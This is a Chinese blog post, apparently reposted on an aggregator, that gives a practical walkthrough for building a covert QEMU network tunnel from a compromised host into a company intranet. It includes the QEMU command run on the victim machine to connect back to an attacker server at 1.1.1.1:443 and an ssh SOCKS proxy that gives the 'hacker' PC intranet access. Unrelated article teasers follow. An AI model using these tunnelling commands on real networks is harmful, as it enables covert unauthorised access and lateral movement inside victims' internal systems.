实战中使用 QEMU 进行内网穿透

news2024/11/20 10:43:42

前言

阅读
https://xz.aliyun.com/t/14052 《使用 QEMU 进行内网穿透?》
https://securelist.com/network-tunneling-with-qemu/111803/ 《Network tunneling with… QEMU?》
我将此项技术应用到实战中,取得不错的效果,但是也遇到很多坑,此篇文章也是一篇排坑的文章

原文章

下面是原文章的拓扑图
请添加图片描述

坑一

原文章中,使用linux 服务器启动qemu 服务端,并且在上面启动监听端口,但是在实际使用中,需要在云上或者vps上搭建服务器环境,云上提供的linux主机一般都没有desk环境,所以qemu在启动的时候会常常报 gtk initialization failed 虽然在启动qemu时加上 --nographic 就可以正常启动,但是linux 终端就会陷入全黑的状态,连光标都消失了。

解决方法

在云上购买windows主机,我买的主机是 Windows Server 2019 数据中心版 64位 中文版
然后根据qemu 官方文档(https://www.qemu.org/download/ ),需要下载和安装 MSYS2 下载地址:https://github.com/msys2/msys2-installer/releases/download/2024-05-07/msys2-x86_64-20240507.exe

安装好之后在UCRT64中执行下面的命令:

pacman -S mingw-w64-ucrt-x86_64-qemu

就安装好qeme了,之后下载 kali-linux-2023.4-live-amd64.iso 放在 C:\msys64\home\Administrator 目录下

坑二

原文章使用的拓扑中,服务器启动的qemu只使用一张网卡,被控主机反连此网卡走的所有流量都是被控主机的流量,并且由于在云主机上启动qemu,云主机上默认不开kvm,所以启动的qemu不能使用 enable-kvm 加速虚拟机,所以导致启动的虚拟机会特别卡顿,卡顿到无法流畅使用的地步。

解决方法

需要修改原文的拓扑
请添加图片描述
上图最关键的是在云主机里面的qemu里面设置双网卡,并且这两个网卡的mac地址要设置为不同的mac地址,不然就会出现mac地址冲突,造成只有一个网卡能正常使用的情况。要给qemu设置双网卡,参考 https://blog.csdn.net/pawpaw77/article/details/130793008 。

  1. 首先要给windows 服务器安装虚拟网卡 先下载tap-window6(https://github.com/OpenVPN/tap-windows6/releases/download/9.26.0/dist.win7.zip) 之后cmd进入AMD64目录(64位系统),执行命令tapinstall install OemVista.inf tap0901,然后Win+R 运行 hdwwiz,添加网络适配器。最后把新建的网卡命名为 tap0。最后给新创建的网卡设置ip地址为192.168.137.1 掩码为255.255.255.0。https://blog.csdn.net/pawpaw77/article/details/130793008 这个文章中在后续需要创建网桥,本人经过多次实验之后,发现完全不需要在windows主机上搭建网桥。
    在这里插入图片描述

  2. 使用如下命令创建qemu虚拟机:

qemu-system-x86_64 -boot d -cdrom kali-linux-2023.4-live-amd64.iso -accel tcg -m 24576 -netdev tap,id=tapnet,ifname=tap0,script=no -device e1000,netdev=tapnet,mac=52:54:00:12:34:57 -device e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 4 -netdev socket,id=n1,listen=:443   // 解决网卡是同mac地址问题 ok

创建好之后,进入qemu虚拟机后配置,

ifconfig eth0 192.168.137.2 netmask 255.255.255.0
  1. 在被控主机上执行如下指令就可以让被控主机和云上的qemu服务器组成一个私有局域网,当被控主机qemu连接到云上的qemu服务器后qume服务器上另一张网卡上就会自动被分配一个ip地址。这样云上的qemu虚拟机就可以无限制的访问到企业内网:
apt update
apt-get install -y qemu-system
qemu-system-x86_64 -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=1.1.1.1:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic

注意,这个命令只能在ubuntu上执行,我尝试在centos上执行,失败了,我在项目中没有那么多时间去研究到底是怎么回事,未来有时间再继续研究一下。
4. 在windows 使用 ssh -D 0.0.0.0:1080 root@192.168.137.2 搭建一条连接到qemu的socks5的代理通道,ssh 监听到0.0.0.0 就可以让hacker主机直接使用windows 主机作为跳板连接到企业内网
5. 黑客在自己的pc机器上做如下设置,就可以直接连接到企业内网了请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1663524.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis 实战之监视器

监视器 成为监视器向监视器发送命令信息总结 成为监视器 发送MONITOR 命令可以让一个普通客户端变为一个监视器, 该命令的实现原理可以用以下伪代码来实现: def MONITOR():# 打开客户端的监视器标志client.flags | REDIS_MONITOR# 将客户端添加到服务器…

【LeetCode:2391. 收集垃圾的最少总时间 + 二分】

🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…

用python进行接口测试(详细教程)

前言 其实我觉得接口测试很简单,比一般的功能测试还简单,现在找工作好多公司都要求有接口测试经验,也有好多人问我什么是接口测试,本着不懂也要装懂的态度,我会说:所谓接口测试就是通过测试不同情况下的入…

4.5网安学习第四阶段第五周回顾(个人学习记录使用)

本周重点 ①部署域环境(Win2008) ②域组策略 ③域内信息收集 ④(重点)哈希传递攻击PTH ⑤MS14-068 提权漏洞 ⑥黄金票据伪造 ⑦白银票据伪造 ⑧ZeroLogon (CVE-2020-1472) 漏洞复现 本周主要内容 ①部署域环境(Win2008)…

【信道编码】2 卷积码、状态转移图、状态转移表、网格表示和码字路径

【信道编码】2 卷积码、状态转移图、状态转移表、网格表示和码字路径 写在最前面例题先行,原理随后示例:输入为01011100状态转移表状态转移图 卷积码的原理原理与结构工作流程误差纠正 (2,1,2)卷积编码器工作原理结构和示例状态转…

微信小程序按钮去除边框线

通常我们去掉按钮边框直接设置 border:0 但是在小程序中无效,设置outline:none也没用,当然可能你会说加权重无效 实际上该样式是在伪元素::after内,主要你检查css 还看不到有这个关系,鹅厂就是坑多 类样式::after {border: non…

odoo16 图标替换系列

1、网友标签标签 修改文件:addons/web/static/src/webclient/webclient.js 修改内容: 我把 "odoo" 替换成了 "RH" this.title.setParts({ zopenerp: "RH" }); // zopenerp is easy to grep2、修改登陆界面 技术/视图/L…

代码复现|subprocess.run()导致报错“FileNotFoundError: [WinError 2] 系统找不到指定的文件“

一 问题描述 记录复现(windows平台下,机器学习算法)代码遇到的问题。 根据控制台信息提示,定位到问题所在:sp.run()导致报错“FileNotFoundError: [WinError 2] 系统找不到指定的文件“。 定位报错位置如下&#xff0c…

PyQt5中的组件

文章目录 1. 简介2. QCheckBox3. QPushButton4. QSlider5. QProgressBar6. QCalendarWidget7. QPixmap8. QLineEdit9. QSplitter10. QComboBox11. 总结 1. 简介 在PyQt5中,有许多不同类型的组件,可以用于构建各种GUI界面。以下是一些常见的PyQt5组件&am…

读写备份寄存器BKP与实时时钟RTC

文章目录 读写备份寄存器接线图代码 RTC实时时钟接线图代码 读写备份寄存器 接线图 即接个3.3v的电源到VBT引脚 代码 代码效果:第一次写入备份寄存器,下载程序后再注释掉,再进行下载,之前写入的数据还会保存在备份寄存器中&am…

Java基础入门day48

day48 JDBC调用关系 tomcat 简介 tomcat是Apache下的一个核心项目,免费开源,支持servlet和jsp。 tomcat技术先进,性能稳定,目前比较流行的web应用服务器 安装 官网: Apache Tomcat - Welcome! 下载 tomcat8.5 解压&a…

leetcode——链表的中间节点

876. 链表的中间结点 - 力扣(LeetCode) 链表的中间节点是一个简单的链表OJ。我们要返回中间节点有两种情况:节点数为奇数和节点数是偶数。如果是奇数则直接返回中间节点,如果是偶数则返回第二个中间节点。 这道题的解题思路是&a…

使用Three.js绘制快速而逼真的水

本文将利用GPUComputationRenderer来实现水波纹的绘制,相似的案例可以看threejs官方的GPGPU Water示例。更多精彩内容尽在数字孪生平台。 什么是 GPGPU GPGPU代表通用图形处理单元(General-Purpose Graphic Processing Unit),意思…

护肤升级:如何选择最适合您的AI皮肤技术解决方案?

在不断变化的护肤行业中,人工智能技术的整合已经彻底改变了企业满足个人护肤需求的方式。了解人工智能在美容行业的重要性以及提供的解决方案,是选择最合适的解决方案至关重要的。领先的主要参与者之一是玩美移动,他们提供了一套全面的AI皮肤…

算法day04

第一题 : 209. 长度最小的子数组 有上题可知,我们会采用双指针和单调性的思路来解决 我们本题采用左右双指针从数组的0位置同向前进,所以将此类模型称为滑块; 步骤思路如下: 步骤一: 定义所有双指针都指向…

使用 Kubeadm 搭建个公网 k8s 集群(单控制平面集群)

前言 YY:国庆的时候趁着阿里云和腾讯云的轻量级服务器做促销一不小心剁了个手😎😢,2 Cores,4G RAM 还是阔以的,既然买了,那不能不用呀🚩,之前一直想着搭建个 k8s 集群玩…

用HAL库改写江科大的stm32入门例子8-1 DMA数据转运

实验目的:通过DMA把buffer的数据搬运到buffer2当中 //declare a buffer to store the data uint32_t buffer[3] {1,2,3};//declare a buffer to store the data uint32_t buffer2[3] {0,0,0}; DMA:是个搬运数据的小助手。 相关设置: main…

算法练习day7

四数相加II 代码随想录 0454.四数相加II 454. 四数相加 II - 力扣(LeetCode) (用时:0.5小时) 思路 本道题是需要在四个数组中,各找一个数,这些数加起来能够等于0,那么就是答案元…

ChatGPT未来可能应用于iPhone?

苹果接即将与OpenAI达成协议 ChatGPT未来应用于iPhone 前言 就在5月11日,苹果公司正与OpenAI进行深入讨论,计划在其最新的iOS操作系统中整合OpenAI的先进技术。这一举措是苹果公司在为其产品线融入更先进的人工智能功能所做努力的一部分。 目前情况双方…

Vue路由拆分

1.在src下建立router&#xff0c;在router中建立文件index 2.将main.js中部分内容复制 App <template> <div><a href"#/friend">朋友</a><br><a href"#/info">信息</a><br><a href"#/music&quo…